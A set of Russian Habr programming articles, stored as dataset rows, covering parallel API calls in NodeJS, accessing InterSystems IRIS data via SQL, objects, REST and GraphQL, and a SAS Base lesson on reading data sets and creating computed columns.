Например, по запросу "Авиабилеты Москва Санкт-Петербург" будет выдана страница с адресом */tickets/moscow/saint-petersburg/*, а на ней нужны данные:
1. Цены авиабилетов по этому направлению на текущий месяц
2. Цены авиабилетов по этому направлению на год вперёд (средняя цена по каждому месяцу для следующих 12 месяцев)
3. Расписание авиарейсов по этому направлению
4. Популярные направления из города отправки — из Москвы (для перелинковки)
5. Популярные направления из города прибытия — из Санкт-Петербурга (для перелинковки)
В PHP все эти запросы выполнялись синхронно — один за другим. Среднее время ответа API по одному запросу — 150-200 миллисекунд. Умножаем 200 на 5 и получаем в среднем секунду только на выполнение запросов к серверу с данными. В NodeJS есть замечательная функция **Promise.all**, которая выполняет все запросы параллельно, но записывает результат поочерёдно. Например, так выглядел бы код выполнения всех пяти выше описанных запросов:
```
var [montlyPrices, yearlyPrices, flightsSchedule, originPopulars, destPopulars] = await Promise.all([
getMontlyPrices(),
getYearlyPrices(),
getFlightSchedule(),
getOriginPopulars(),
getDestPopulars()
])
```
И получаем все данные за 200-300 миллисекунд, сократив время генерации данных для страницы с 1-1,5 секунд до ~500 миллисекунд.
### Заключение
Переход с PHP на NodeJS помог мне ближе познакомиться с асинхронным JavaScript, научиться работе с промисами и async/await. После того, как движок был переписан, скорость загрузки страниц была оптимизирована и отличалась разительно от результатов, которые показывал движок на PHP. В этой статье можно было бы ещё рассказать о том, насколько просто используются модули для работы с кэшем (Redis) и pg-promise (PostgreSQL) в NodeJS и устроить сравнение их с Memcached и php-pgsql, но эта статья итак получилась достаточно объёмной. А зная мой "талант" к писательству, она получилась ещё и плохо структурированной. Цель написания этой статьи — привлечь внимание разработчиков, которые до сих пор работают с PHP и не знают о прелестях NodeJS и разработки веб-ориентированных приложений на нём на примере реально существующего проекта, который когда-то был написан на PHP, но из-за предпочтений своего владельца ушёл на другую платформу.
Надеюсь, что мне удалось донести мои мысли и более-менее структурировано изложить их в этом материале. По крайней мере, я старался :)
Пишите любые комментарии — доброжелательные или гневные. Буду отвечать на любой конструктив. | https://habr.com/ru/post/444400/ | null | ru | null |
# Четыре API для базы данных
Одновременный сеанс в IRIS: SQL, объекты, REST, GraphQL
-------------------------------------------------------
Казимир Малевич, Спортсмены (1932)
> *«И вполне естественно ваше непонимание. Разве может понять человек, который ездит всегда в таратайке, переживания и впечатления едущего экспрессом или летящего в воздухе»*
>
> Казимир Малевич (1916)
>
>
Как то мы уже [обращались к теме](https://habr.com/ru/post/435612/) превосходства объектного/типизированного представления в реализации моделей предметной области в сравнении с SQL. И верность тех доводов и фактов ни на йоту не уменьшилась. Казалось бы, зачем отступать и обсуждать технологии, которые глобально низвергают абстракции обратно в дообъектную и дотипизированную эпоху? Зачем провоцировать рост спагетти-кода, непроверяемых ошибок и упование на виртуозное мастерство разработчика?
Есть несколько соображений о том, почему стоит поговорить про обмен данными через API на основе SQL/REST/GraphQL, в противовес представлению их в виде типов/объектов:
* это массово изучаемые и достаточно легко используемые технологии;
* их широкая популярность в доступных и открытых программных продуктах просто невероятна;
* часто, особенно в вебе и в базах данных, у вас просто нет выбора;
* или наоборот, когда у вас всё ж таки есть выбор – его надо сделать осознанно:
* и главное, внутри в границах этих API остаются объекты, как наиболее адекватный способ их реализации в коде.
Перед тем, как обозреть реализации API, взглянем для начала на уровни абстракции ниже. Взглянем на схему путешествия данных между местами их постоянного хранения, а также местами обработки и представления пользователю наших приложений.
Сегодня, данные хранятся, как давно повелось, на жёстких дисках в HDD или, уже по современному, в микросхемах флеш-памяти в SSD. Данные пишутся и читаются потоком, состоящем из отдельных блоков хранения на HDD/SSD.
Деление на блоки не случайное, а задаваемое физикой/механикой/электроникой накопителя данных. В HDD — это дорожки/сектора на вращающемся магнитном диске. В SSD — это сегменты памяти в перезаписываемом кремниевом чипе. Суть одна — это блоки информации, из частей которых необходимо найти и собрать воедино нужные нам кусочки данных. Собрать в структуры, которые соответствуют нашей модели/типу данных со значением необходимым на момент запроса. За этот процесс как раз отвечает связка из СУБД и файловой подсистемы в операционной системе.
По правде говоря, можно обращаться и минуя СУБД — напрямую к файловой системе или даже напрямую к HDD/SSD. Но тогда мы теряем два супер важных мостика к данным – первый, между блоками хранения и файловыми потоками, и, второй, между файлами и упорядоченной структурой в модели базы данных. Или, говоря другими словами, мы берём на себя ответственность по разработке всего этого объёма кода для обработки блоков/файлов/моделей со всеми оптимизациями, тщательной отладкой и долговременными испытаниями на надёжность.
Так вот, СУБД дают нам прекрасную возможность обращаться с данными на языке высокого уровня сразу оперируя понятными моделями и представлениями. Хвала им за это. А хорошие СУБД и платформы данных, такие как InterSystems IRIS, предоставляют больше — доступ к упорядоченным данным сразу множеством способов одновременно. И выбор уже за программистом, какой из них выбрать для своего проекта.
Так воспользуемся же множественными привилегиями, которые даёт нам IRIS. Сделаем код красивее и полезнее — сразу будем применять объектно-ориентированные язык ObjectScript для использования и разработки API. То есть, например, SQL код будем вызывать прямо изнутри программы на ObjectScript. А для других API воспользуемся готовыми библиотеками и встроенными средствами ObjectScript.
Для примеров будем использовать данные из замечательного интернет-проекта "SQL Zoo", в котором обучают языку запросов SQL. Эти же данные будем использовать в других примерах API.
> Если хочется сразу посмотреть на многообразие подходов к проектированию API и воспользоваться готовыми решениями, то вот интересная и полезная коллекция публичных API, которая коллективно собирается в проекте на гитхабе <https://github.com/public-apis/public-apis>
>
>
SQL
---
Начинаем вполне естественно с SQL. Кто ж его не знает?
Для изучения SQL есть гигантское количество учебных курсов и книг. Мы будем опираться на <https://sqlzoo.net>. Это хороший начальный онлайн курс по SQL с примерами, прохождением заданий и справочником языка.
Будем переносить задачки из SQLZoo на платформу IRIS и получать аналогичные решения разными способами.
> Как быстро получить доступ к InterSystems IRIS на своём компьютере? Один из самых быстрых вариантов — развернуть контейнер в докере из готового образа [InterSystems IRIS Community Edition](https://hub.docker.com/_/intersystems-iris-data-platform) — бесплатная версия InterSystems IRIS Data Platform
>
>
> Другие способы получить доступ к InterSystems IRIS Community Edition [на портале обучения](https://learning.intersystems.com/course/view.php?id=1075&ssoPass=1).
>
>
Перенесём данные с SQLZoo в хранилище нашего собственного экземпляра IRIS. Для этого:
1. Открываем портал управления (у меня, например, по ссылке <http://localhost:52773/csp/sys/UtilHome.csp>),
2. Переключаемся на область USER - в Namespace %SYS нажимаем ссылку Switch и выбираем USER
3. Переходим в меню Система > SQL - открываем Обозреватель системы, затем SQL и жмём кнопку Запустить.
4. Справа на будет открыта закладка "Исполнить запрос" с кнопкой "Исполнить" - она то нам и нужна.
Более подробно о работе с SQL через портал управления можно [посмотреть в документации](https://docs.intersystems.com/irislatest/csp/docbook/Doc.View.cls?KEY=GSQL_smp).
> Кстати, другим, удобным вам, способом попробовать SQL доступ к базе данных в IRIS, может оказаться популярный у разработчиков редактор Visual Studio Code с плагином SQLTools и драйвером "[SQLTools Driver for InterSystems IRIS](https://github.com/intersystems-community/sqltools-intersystems-driver)". Попробуйте этот вариант.
>
> Инструкция – [как настроить доступ к IRIS и разработке на ObjectScript в VSCode](https://intersystems-community.github.io/vscode-objectscript/).
>
>
Готовые скрипты для развёртывания базы данных и набора тестовых данных SQLZoo есть в [описании на сайте](https://sqlzoo.net/wiki/SQLZOO:About) в разделе Данные.
Пара прямых ссылок для таблицы World:
* <http://sqlzoo.net/w/index.php?title=Createworld.txt&action=raw> a script to create the world database
* <http://sqlzoo.net/w/index.php?title=Tabworld.txt&action=raw> the data to go in that table
Скрипт для создания базы данных можно выполнить тут же на портале управления IRIS в форме "Исполнитель запросов".
```
CREATE TABLE world(
name VARCHAR(50) NOT NULL
,continent VARCHAR(60)
,area DECIMAL(10)
,population DECIMAL(11)
,gdp DECIMAL(14)
,capital VARCHAR(60)
,tld VARCHAR(5)
,flag VARCHAR(255)
,PRIMARY KEY (name)
)
```
Для загрузки набора тестовых над формой "Исполнитель запросов" есть меню Мастера > Импорт данных. Для этого каталог с файлом тестовых данных необходимо добавить заранее, при создании вашего контейнера, или загрузить с вашего компьютера через браузер — такая опция есть тут же в мастере импорта данных панели управления.
Проверяем наличие таблицы с данными запуском простейшего скрипта в форме "Исполнитель запросов":
```
SELECT * FROM world
```
Теперь нам доступны примеры и задания с сайта "SQL Zoo". Все примеры ниже реализуют SQL запрос из первого задания:
```
SELECT population
FROM world
WHERE name = 'France'
```
Так что можете смело продолжать начатое нами исследование API перенося задания из SQLZoo на платформу IRIS.
> Внимание! Как я обнаружил, данные в интерфейсе сайта SQLZoo и данные его экспорта отличаются. Как минимум в первом примере расходятся значения по населению Франции и Германии. Не переживайте. Вот [данные Евростата](https://ec.europa.eu/eurostat/tgm/table.do?tab=table&language=en&pcode=tps00001&tableSelection=1&footnotes=yes&labeling=labels&plugin=1 ) для ориентировки.
>
>
Что бы плавно перейти к следующему шагу — объектный доступ к нашей базе данных, сделаем небольшой промежуточный шаг от "чистых" SQL запросов к SQL запросам встроенные в код приложения на [ObjectScript — объектно-ориентированном языке, встроенном в IRIS](https://docs.intersystems.com/iris20203/csp/docbook/Doc.View.cls?KEY=GSQL_esql).
```
Class User.worldquery
{
ClassMethod WhereName(name As %String)
{
&sql(
SELECT population INTO :population
FROM world
WHERE name = :name
)
IF SQLCODE<0 {WRITE "SQLCODE error ",SQLCODE," ",%msg QUIT}
ELSEIF SQLCODE=100 {WRITE "Query returns no results" QUIT}
WRITE name, " ", population
}
}
Проверяем результат в терминале:
do ##class(User.worldquery).WhereName("France")
```
В ответ должны вернуться название страны и число жителей.
Объекты/типы
------------
Это общая преамбула к истории про REST/GraphQL. Мы реализуем API в сторону веб протоколов. Чаще всего у нас под капотом на серверной стороне будет исходный код на каком-то из языков, хорошо поддерживающих типизацию или даже целиком объектно-ориентированную парадигму. Вот те самые: Spring на Java/Kotlin, Django на Python, Rails на Ruby, [ASP.NET](http://ASP.NET) на C# или даже Angular на TypeScript. И безусловно объекты в ObjectScript, родном для платформы IRIS.
Почему это важно? Типы и объекты в вашем коде, при отправке вовне, будут упрощены до структур данных. Необходимо учитывать упрощение моделей в программе, что аналогично учёту потерь в реляционных моделях. И заботиться о том, что на другой стороне API, модели будут адекватно восстановлены и использованы вами или другими разработчиками без искажений. Это дополнительная нагрузка и увеличение ответственности программиста. Вне кода, вне помощи трансляторов/компиляторов и других автоматических инструментов при создании программ, необходимо вновь и вновь заботиться о корректной передаче моделей.
Если посмотреть на вопрос с другой стороны, то пока не видно на горизонте технологий и инструментов легко передающих типы/объекты из программы на одном языке в программу на другом. Что остаётся? Вот эти упрощения SQL/REST/GraphQL и разливанное море документации с описанием API на человечески понятном языке. Неформальная, с компьютерной точки зрения, документация для разработчиков – это как раз то, что следует всячески переводить в формальный код, который компьютер обрабатывать умеет.
Подходы к решению этих проблем предпринимаются регулярно. Одно из успешных – это кросс языковая парадигма в объектной СУБД платформы IRIS.
Что бы чётко понимать как соотносятся модели ОПП и SQL в IRIS, предлагаю посмотреть на таблицу:
| | |
| --- | --- |
| **Объектно-ориентированное программирование (ООП)** | **Структурированный язык запросов (SQL)** |
| Пакет | Схема |
| Класс | Таблица |
| Свойство | Столбец |
| Метод | Хранимая процедура |
| Отношение между двумя классами | Ограничение внешнего ключа, встроенный join |
| Объект (в памяти или на диске) | Строка (на диске) |
Более подробно про отображение объектной и реляционной модели можно [посмотреть в документации IRIS](https://docs.intersystems.com/irislatest/csp/docbook/DocBook.UI.Page.cls?KEY=GOBJ_persobj_intro).
При выполнении нашего SQL запроса на создание таблицы world из примера выше, IRIS автоматически генерирует у себя описания соответствующего объекта — класс с именем User.world.
```
Class User.world Extends %Persistent [ ClassType = persistent, DdlAllowed, Final, Owner = {_SYSTEM}, ProcedureBlock, SqlRowIdPrivate, SqlTableName = world ]
{
Property name As %Library.String(MAXLEN = 50) [ Required, SqlColumnNumber = 2 ];
Property continent As %Library.String(MAXLEN = 60) [ SqlColumnNumber = 3 ];
Property area As %Library.Numeric(MAXVAL = 9999999999, MINVAL = -9999999999, SCALE = 0) [ SqlColumnNumber = 4 ];
Property population As %Library.Numeric(MAXVAL = 99999999999, MINVAL = -99999999999, SCALE = 0) [ SqlColumnNumber = 5 ];
Property gdp As %Library.Numeric(MAXVAL = 99999999999999, MINVAL = -99999999999999, SCALE = 0) [ SqlColumnNumber = 6 ];
Property capital As %Library.String(MAXLEN = 60) [ SqlColumnNumber = 7 ];
Property tld As %Library.String(MAXLEN = 5) [ SqlColumnNumber = 8 ];
Property flag As %Library.String(MAXLEN = 255) [ SqlColumnNumber = 9 ];
Parameter USEEXTENTSET = 1;
/// Bitmap Extent Index auto-generated by DDL CREATE TABLE statement. Do not edit the SqlName of this index.
Index DDLBEIndex [ Extent, SqlName = "%%DDLBEIndex", Type = bitmap ];
/// DDL Primary Key Specification
Index WORLDPKey2 On name [ PrimaryKey, Type = index, Unique ];
}
```
Это отличная заготовка для разработки своего приложения в объектно-ориентированном стиле. Достаточно добавить методы в класс на ObjectScript, имеющий готовые привязки к базе данных. Фактически, методы этого класса являются хранимыми процедурами, если использовать терминологию SQL-подхода.
Пробуем реализовать тот же пример, что выше делали на SQL, Добавляем в класс User.world метод WhereName, который играет роль конструктора объекта "информация о стране"по заданному названию страны:
```
ClassMethod WhereName(name As %String) As User.world
{
Set id = 1
While ( ..%ExistsId(id) ) {
Set countryInfo = ..%OpenId(id)
if ( countryInfo.name = name ) { Return countryInfo }
Set id = id + 1
}
Return countryInfo = ""
}
```
Проверяем в терминале:
```
set countryInfo = ##class(User.world).WhereName("France")
write countryInfo.name
write countryInfo.population
```
Из этого примерна видно, что для поиска нужного объекта по названию страны, в отличие от SQL запроса, нам необходимо самостоятельно перебирать поочередно записи в базе данных. В худшем случае, если наш объект в конце списка или его вообще нет, перебирать придётся все записи. Про ускорение поиска через индексированные поля объекта и автогенерацию методов класса в IRIS разговор особый — поищите сами в [документации](https://docs.intersystems.com/latest/csp/docbook/DocBook.UI.Page.cls?KEY=GSQLOPT_indices#GSQLOPT_indices_openinstance) и [в публикациях на портале сообщества разработчиков](https://community.intersystems.com/post/useful-auto-generated-methods).
Например, для нашего класса, зная сгенерированное IRIS имя индекса по названию страны WORLDPKey2 можно инициализировать/конструировать объект из базы данных одним скоростным запросом:
```
set countryInfo = ##class(User.world).WORLDPKey2Open("France")
```
Проверяем так же:
```
write countryInfo.name
write countryInfo.population
```
Хорошие рекомендации по выбору между объектным и SQL доступом к хранимым объектам есть [в документации](https://docs.intersystems.com/irislatest/csp/docbook/Doc.View.cls?KEY=GORIENT_ch_persistence#GORIENT_persistence_data_programmatically). Хотя, в любом случае, вы вольны для своих задач использовать только один из них на 100%.
Плюс ещё и том, что благодаря наличию в IRIS готовых бинарных связок с распространёнными ООП языками, какими как Java, Python, С, C# (.Net), JavaScript и, даже быстро набирающему популярность, Julia [[1](https://github.com/intersystems-community/JuliaGateway)][[2](https://openexchange.intersystems.com/package/JuliaGateway)]. Всегда есть возможность выбора удобных вам языковых средств разработки.
Теперь приступим непосредственно к разговору о данных в веб-API.
REST он же RESTful веб-API
--------------------------
Вырываемся за границы сервера и уютного терминала. Пробираемся поближе к массовым интерфейсам — браузерам и им подобным приложениям. Туда, где в основе взаимодействия систем используются гипертекстовые протоколы семейства http. В IRIS "из коробки" для этого работает связка из собственно сервера баз данных и http-сервера Apache.
> Representational state transfer (REST) — архитектурный стиль проектирования распределённых приложений и, в частности, веб-приложений. Ему, между прочим, пошел уже третий десяток лет. REST применяется повсеместно не имея какой-либо стандартизации, кроме как опоры на протоколы http/https. Совсем не то, что его коллеги/конкуренты в веб-службах на базе стандартов для протоколов SOAP и XML-RPC.
>
> Глобальным ID в REST является URL и он определяет каждую очередную информационную единицу при обмене с базой данных или с бекэнд приложением.
>
> [Документация по разработке REST-сервисов в IRIS](https://docs.intersystems.com/irislatest/csp/docbook/Doc.View.cls?KEY=GREST).
>
>
В нашем примере основой идентификатором будет что-то вроде основы из адреса сервера IRIS <http://localhost:52773> и приставленного к нему пути до наших данных /world/ или более конкретно по стране /world/France.
Примерно так в докер-контейнере:
http://localhost:52773/world/France
При разработке полноценного приложения в документации IRIS рекомендуется воспользоваться одним из трёх генераторов кода. Например, один из них основан на описании REST API по спецификации OpenAPI 2.0.
Мы пойдём простым путём — реализуем API вручную. В нашем примере сделаем простейшее REST-решение, которое требует всего два шага в IRIS:
1. Создать класс-диспетчер путей в URL, который будет унаследован от системного класса %CSP.REST
2. Добавить обращение к нашему классу-диспетчеру при настройке веб-приложения IRIS
**Шаг 1** Класс-диспетчер
Реализация класса должна быть достаточно понятна. Делаем по инструкции в документации для "ручного" REST: <https://docs.intersystems.com/irislatest/csp/docbook/Doc.View.cls?KEY=GREST_csprest#GREST_csprest_urlmap>
```
/// Description
Class User.worldrest Extends %CSP.REST
{
Parameter UseSession As Integer = 1;
Parameter CHARSET = "utf-8";
XData UrlMap [ XMLNamespace = "http://www.intersystems.com/urlmap" ]
{
}
}
```
И внутри добавляем метод-обработчик ровно так же, как были устроены вызовы в терминале из предыдущего примера:
```
ClassMethod countryInfo(name As %String) As %Status
{
set countryInfo = ##class(User.world).WhereName(name)
write "Country: ", countryInfo.name
write "
"
write "Population: ", countryInfo.population
return $$$OK
}
```
Как можете видеть, для передачи из входящего REST-запроса в параметра name вызываемого метода-обработчика в диспетчере указывается параметр с двоеточием в начале ":name".
**Шаг 2** Настройка веб-приложения IRIS
В меню System Administration > Security > Applications > Web Applications
добавляем новое веб-приложение с указанием точки входа по URL на /world и обработчик — наш класс-диспетчер worldrest.
> Лайфхаки
>
> Веб-приложение после настройки должно сразу отзываться по ссылке http://localhost:52773/world/France (регистр букв для передачи данных запроса в параметр метода важен, должно быть как в базе данных).
>
> При необходимости используйте инструменты отладки — хорошее описание есть в этой статье из двух частей (в комментариях загляните тоже). <https://community.intersystems.com/post/debugging-web>
>
>
>
GraphQL
-------
Эта территория новая, в том смысле, что в документации IRIS об API с использованием GraphQL вы ничего не найдёте сегодня. Но это не помешает нам воспользоваться таким замечательным инструментом.
> Всего пять лет как [GraphQL](https://graphql.org) появился на публике.
>
> Это язык запросов для API. И, наверное, это лучшая технология, которая возникла при совершенствовании REST-архитектуры и различных веб-API. Развитием GraphQL занимается Linux фонд. Небольшая [вводная статья для начинающих](https://dev.to/davinc/graphql-for-beginners-3f1a).
>
> А благодаря стараниям энтузиастов и инженеров InterSystems воспользоваться возможностями [GraphQL в IRIS](https://openexchange.intersystems.com/package/GraphQL) можно с 2018 года.
>
> Статья на Хабре: [Как я реализовал GraphQL для платформ компании InterSystems](https://habr.com/ru/company/intersystems/blog/358720/)
>
> En: [GraphQL понимаем, объясняем, внедряем](https://speakerdeck.com/hellsquirrel/graphql-ponimaiem-obiasniaiem-vniedriaiem?slide=54)
>
>
Приложение для GraphQL состоит из двух модулей — бекенд приложения на стороне IRIS и фронтэнд части, работающей в браузере. То есть, необходимо настроить [по инструкции для веб-приложения GraphQL и GraphiQL](https://github.com/intersystems-community/GraphQL).
Для примера, как это выглядит у меня на IRIS в докер-контейнере. Настройки веб-приложения GraphQL выполняющее функции REST-диспетчера и обработчика схемы базы данных:
И второе приложение GraphiQL — пользовательских интерфейс для браузера, написан на HTML и JavaScript:
Запускает по адресу <http://localhost:52773/graphiql/index.html>
Без дополнительных ограничительных настроек, приложение сразу подхватывает все схемы баз данных, доступных в области установки. Это значит, что наши примеры работать начинают сразу. Плюс во фронтэнде есть замечательная организация подсказок из доступных объектов.
Пример GraphQL запроса к нашей базе данных:
```
{
User_world ( name: France ) {
name
population
}
}
```
И соотвествующий ему ответ:
```
{
"data": {
"User_world": [
{
"name": "France",
"population": 65906000
}
]
}
}
```
Так это выглядит в браузере:
Итоги
-----
| | | |
| --- | --- | --- |
| | **Возраст технологии** | **Пример запроса** |
| SQL | 50 лет Кодд | `SELECT population FROM world WHERE name = 'France'` |
| ООП | 40 лет Кэй, Ингаллс | `set countryInfo = ##class(User.world).WhereName("France")` |
| REST | 20 лет Филдинг | `http://localhost:52773/world/France` |
| GraphQL | 5 лет Байрон | `{ User_world ( name: France ) { name population }}` |
1. Жизненной силы и энергии у технологий SQL, REST и, теперь наверное, GraphQL много и это надолго. Они все прекрасно уживаются внутри платформы IRIS и, при должном внимании разработчика, дарят радость в создании программ работы с данными.
2. Хоть это не упомянуто в статье, другие великолепные API на основе XML (SOAP) и JSON в IRIS также реализованы на должном уровне. Пользуйтесь на здоровье.
3. Помните, что любой обмен данными через API — это всё же неполноценная, а урезанная версия передачи объектов. И задача корректной передачи информации о типа данных в объекте, потерянной в API остаётся, на разработчике, а не в коде.
#### Вопрос к вам, дорогие читатели
Эта статья готовилась не только для сравнения современных API и, даже, не столько для обзора базовых возможностей IRIS. Больше пользы от примеров выше смогут получить начинающие программисты: увидеть легкость в переключении между API при доступе к базе данных, сделать первые шаги в IRIS, получить быстрый результат для своей задачи.
И поэтому, очень интересно ваше мнение, помогает ли такой подход для "легкого старта", какие шаги процесса доставляют сложность для начинающих осваивать инструменты работы с API в IRIS? Что показалось "неочевидным препятствием"? Поспрашивайте у осваивающих IRIS и напишите мне в комментариях. Думаю, это всем будет полезно обсудить. | https://habr.com/ru/post/541860/ | null | ru | null |
# Основы программирования на SAS Base. Урок 4. Создание наборов данных SAS
В предыдущей [статье](https://habr.com/company/sas/blog/354284/) мы изучили, как читать внешние необработанные данные. А сегодня познакомимся с оператором SET, который считывает стандартные наборы данных SAS (SAS Data Set), научимся создавать срезы данных, настраивать постоянные атрибуты, а также изучим несколько полезных функций SAS. Я снова постараюсь изложить материал максимально простым языком, используя как можно больше примеров.
 Допустим данные хранятся в формате EXCEL в директории *C:\workshop\habrahabr*. Импортируем электронную таблицу, создадим из нее срез, создадим новые вычисляемые столбцы, используя функции SAS, а затем разобьем данный набор данных на два.
Импорт электронной таблицы и задание фильтра
--------------------------------------------
Файл excel хранится в указанной выше директории и имеет следующий вид:
Фрагмент файла:
Применим процедуру [PROC IMPORT](https://go.documentation.sas.com/?docsetId=proc&docsetTarget=n1qn5sclnu2l9dn1w61ifw8wqhts.htm&docsetVersion=9.4&locale=ru) для преобразование электронной таблицы в набор данных SAS:
```
options validvarname=v7;
proc import datafile="C:\workshop\habrahabr\company.xlsx"
dbms=xlsx
out=company
replace;
getnames=yes;
run;
```
Опция **validvarname=V7** задает «правильные» с точки зрения SAS имена полей: все недопустимые символы заменяет знаками нижнего подчеркивания. О правилах именования переменных можно прочитать в [Уроке 1.](https://habr.com/company/sas/blog/348168/)
Зададим фильтр сразу при чтении внешнего файла, например, выберем только те наблюдения, в которых дата окончания работ не пропущена. Обратите внимание, на синтаксис параметра where.
```
options validvarname=v7;
proc import datafile="C:\workshop\habrahabr\company.xlsx"
dbms=xlsx
out=company (where=(End_Date not is missing))
replace;
getnames=yes;
run;
```
Рассмотрим детально операторы шага PROC IMPORT:
**Datafile** – определяет полный путь и имя внешнего файла
**Dbms** — определяет тип данных для импорта.
**Out** – идентифицирует выходной набор данных SAS с одно- или двухуровневым именем SAS (имя библиотеки и имя набора данных).
**Replace** – перезаписывает существующий набор данных SAS.
**Getnames** – Указывает, генерирует ли PROC IMPORT имена переменных SAS из значений данных в первой строке во входном внешнем файле.
Запустим шаг PROC IMPORT и изучим LOG:
Распечатаем полученный набор данных SAS:
```
proc print data=work.company noobs;
run;
```
Вывод процедуры PROC PRINT показан ниже:
Фрагмент:
Также в SAS UE вы можете воспользоваться вкладкой «Результаты» и ознакомиться с импортированным набором данных SAS.
Чтение наборов данных SAS
-------------------------
Чтение набора данных SAS реализуется на шаге DATA с помощью оператора [SET](https://go.documentation.sas.com/?docsetId=lestmtsref&docsetTarget=p00hxg3x8lwivcn1f0e9axziw57y.htm&docsetVersion=9.4&locale=en#n1941fu8q81eobn1cp7gspq932hv):
Рассмотрим общий синтаксис оператора SET:
```
SET > ;
```
Если вы не указываете в операторе SET набор данных, то он читает наблюдения из последнего созданного набора данных SAS.
В операторе SET можно указать несколько наборов данных, в этом случае SAS Data Sets допишутся один под другой (аналог UNION в SQL).
Также на шаге DATA может быть два оператора SET, в этом случае таблицы объединяются по общему столбцу. Подробнее о двух операторах SET можно прочитать, например, в [этой статье](https://www.lexjansen.com/pnwsug/2009/Gehring,%20Renu%20-%20Multiple%20Set%20Statements%20in%20a%20Data%20Step.pdf).
Простейший код, создающий копию набора данных SAS, выглядит следующим образом:
```
data company1;
set company;
run;
```
Настройка дескриптора набора данных SAS
---------------------------------------
Изучить дескриптор набора данных SAS можно с помощью процедуры PROC CONTENTS ([см. Урок 2](https://habr.com/company/sas/blog/349726/)). В данном уроке, мы распечатаем компоненту дескриптора с помощью процедуры [PROC DATASETS](https://go.documentation.sas.com/?docsetId=proc&docsetTarget=n1hmips60w5w3yn1hj9klna7aplw.htm&docsetVersion=9.4&locale=ru):
```
proc datasets library=work nolist;
contents data=company order=varnum;
quit;
```
Фрагмент результатов:
Зададим постоянный формат для переменных Travel\_Expenses и Budget:
```
data company;
set company;
format Travel_Expenses Budget dollar10.2;
run;
```
Проверим атрибуты наборы данных SAS:
```
proc datasets library=work nolist;
contents data=company order=varnum;
quit;
```
Создание вычисляемых столбцов
-----------------------------
Все функции SAS можно можно изучить в справочнике [SAS 9.4 Functions and CALL Routines: Reference, Fifth Edition](https://go.documentation.sas.com/api/docsets/lefunctionsref/9.4/content/lefunctionsref.pdf?locale=ru#nameddest=titlepage) .
Кроме того, если нет подходящей функции для выполнения той или иной задачи, можно воспользоваться процедурой [PROC FCMP](https://go.documentation.sas.com/?docsetId=proc&docsetTarget=p10b4qouzgi6sqn154ipglazix2q.htm&docsetVersion=9.4&locale=ru) и создать свою функцию.
В рамках данного урока мы изучим три функции YRDIF, SUM и CATS.
Для подсчета разницы в датах в годах мы будем использовать [функцию YRDIF](https://go.documentation.sas.com/?docsetId=lefunctionsref&docsetTarget=p1pmmr2dtec32an1vbsqmm3abil5.htm&docsetVersion=9.4&locale=ru).
Напомню, что дата в формате SAS представляет собой количество дней, начиная с 01 января 1960 года ([см. Урок 1](https://habr.com/company/sas/blog/348168/)). На представленных данных, нам необходимо вычислить время выполнения работ:
```
data company1;
set work.company;
Lead_Time=yrdif(Start_Date, End_Date, 'actual');
format Travel_Expenses Budget dollar10.2 Lead_Time 3.1;
run;
```
Обратите внимание, что с помощью формата 3.1 для переменной Lead\_Time, мы округлили вычисленные значения в отчете (!) до 1 знака после запятой. Оператор формат **не меняет** значения в наборе данных SAS!
Фрагмент результатов:
Далее вычислим стоимость работ без командировочных расходов:
```
data company1;
set work.company;
Lead_Time=yrdif(Start_Date, End_Date, 'actual');
Cost=Budget-Travel_Expenses;
format Cost Travel_Expenses Budget dollar10.2 Lead_Time 3.1;
run;
```
Фрагмент результатов:
В рамках нашей задачи стоимость работ без учета командировочных расходов мы вычислили без использования функции. В нашей таблице нет пропущенных значений, если бы одна из переменных (Budget или Travel\_Expenses) имела бы пропущенное значение, результатом был «миссинг».
Например:
Создадим тестовый набор данных:
```
data test;
input Budget Travel_Expenses;
datalines;
12345 233
. 345
12543 .
;
```
Вычислим разницу переменных Budget Travel\_Expenses
```
data test;
set test;
value=Budget-Travel_Expenses;
run;
```
Результат выполнения данного шага:
Для того, чтобы получить корректный результат, можно использовать функцию [SUM](https://go.documentation.sas.com/?docsetId=lefunctionsref&docsetTarget=n0zxive1z1ctqin12w06c85jfigd.htm&docsetVersion=9.4&locale=ru).
Данная функция относится к категории функций **описательной статистики**. Функции описательной статистики **игнорируют** пропущенные значения.
Написание кода через SUM:
```
data test;
set test;
value=sum(Budget,-Travel_Expenses);
run;
```
В этом случае результат выполнения шага выглядит следующим образом:
Третий вычисляемый столбец – это адрес электронной почты менеджера. Его можно «собрать» из столбцов Manager\_FirstName, Manager\_LastName и значения [habr](https://habr.com/users/habr/).com
Для объединения текстовых значений в одну строку можно использовать [функцию CATS](https://go.documentation.sas.com/?docsetId=lefunctionsref&docsetTarget=n1e21rr6al5m2nn19r1fat5qxwrt.htm&docsetVersion=9.4&locale=ru).
```
data company1;
set work.company;
Lead_Time=yrdif(Start_Date, End_Date, 'actual');
Cost=Budget-Travel_Expenses;
Email=cats(Manager_FirstName, '.',Manager_LastName, '@habr.com');
format Cost Travel_Expenses Budget dollar10.2 Lead_Time 3.1;
run;
```
Фрагмент результатов:
Изучим дескриптор созданного набора данных:
```
proc contents data=work.company1 varnum;
run;
```
Фрагмент дескриптора:
Обратите внимание на длину переменной Email.Она составляет 200 байт, это длина, возвращаемая по умолчанию функцией CATS. Если изучить атрибуты переменных Manager\_FirstName и Manager\_LastName, то мы можем убедиться, что на переменную Email достаточно 8+6+длина строки ‘@habr.com’, то есть еще 9 байт, итого 23. Почему стоит на это обратить внимание? Все недостающие символы добиваются пробелами, что сказывается на размере набора данных и на больших объемах данных будет сказываться на производительности.
Для того, чтобы задать длину переменной Email явно, необходимо использовать оператор LENGTH:
```
data company1;
set work.company;
length Email $23;
Lead_Time=yrdif(Start_Date, End_Date, 'actual');
Cost=Budget-Travel_Expenses;
Email=cats(Manager_FirstName, '.',Manager_LastName, '@habr.com');
format Cost Travel_Expenses Budget dollar10.2 Lead_Time 3.1;
run;
```
Фрагмент дескриптора
Создадим детализированный столбец на основании переменной Lead\_Time, учитывая следующие условия:
1. Если значение переменной Lead\_Time менее 1, то столбец Detail имеет значение less than 1 year.
2. Если значение переменной Lead\_Time в диапазоне от 1 до 2, включая границы, то столбец Detail имеет значение 1-2 years.
3. Если значение переменной Lead\_Time в диапазоне от 2 до 3, исключая 2, то столбец Detail имеет значение 2-3 years.
4. Если значение переменной Lead\_Time в диапазоне от 3 до 4, исключая 3, то столбец Detail имеет значение 3-4 years.
5. Если значение переменной Lead\_Time в диапазоне от 4 до 5, исключая 4, то столбец Detail имеет значение 4-5 years.
6. Во всех остальных случаях столбец Detail имеет значение above 5 years.
